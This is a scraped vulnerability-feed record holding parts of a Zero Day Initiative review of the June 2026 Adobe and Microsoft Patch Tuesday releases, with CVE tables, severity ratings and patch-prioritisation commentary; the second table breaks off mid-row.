<span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "73972de3-647e-4b97-a5fe-d7f8049353f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48560", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  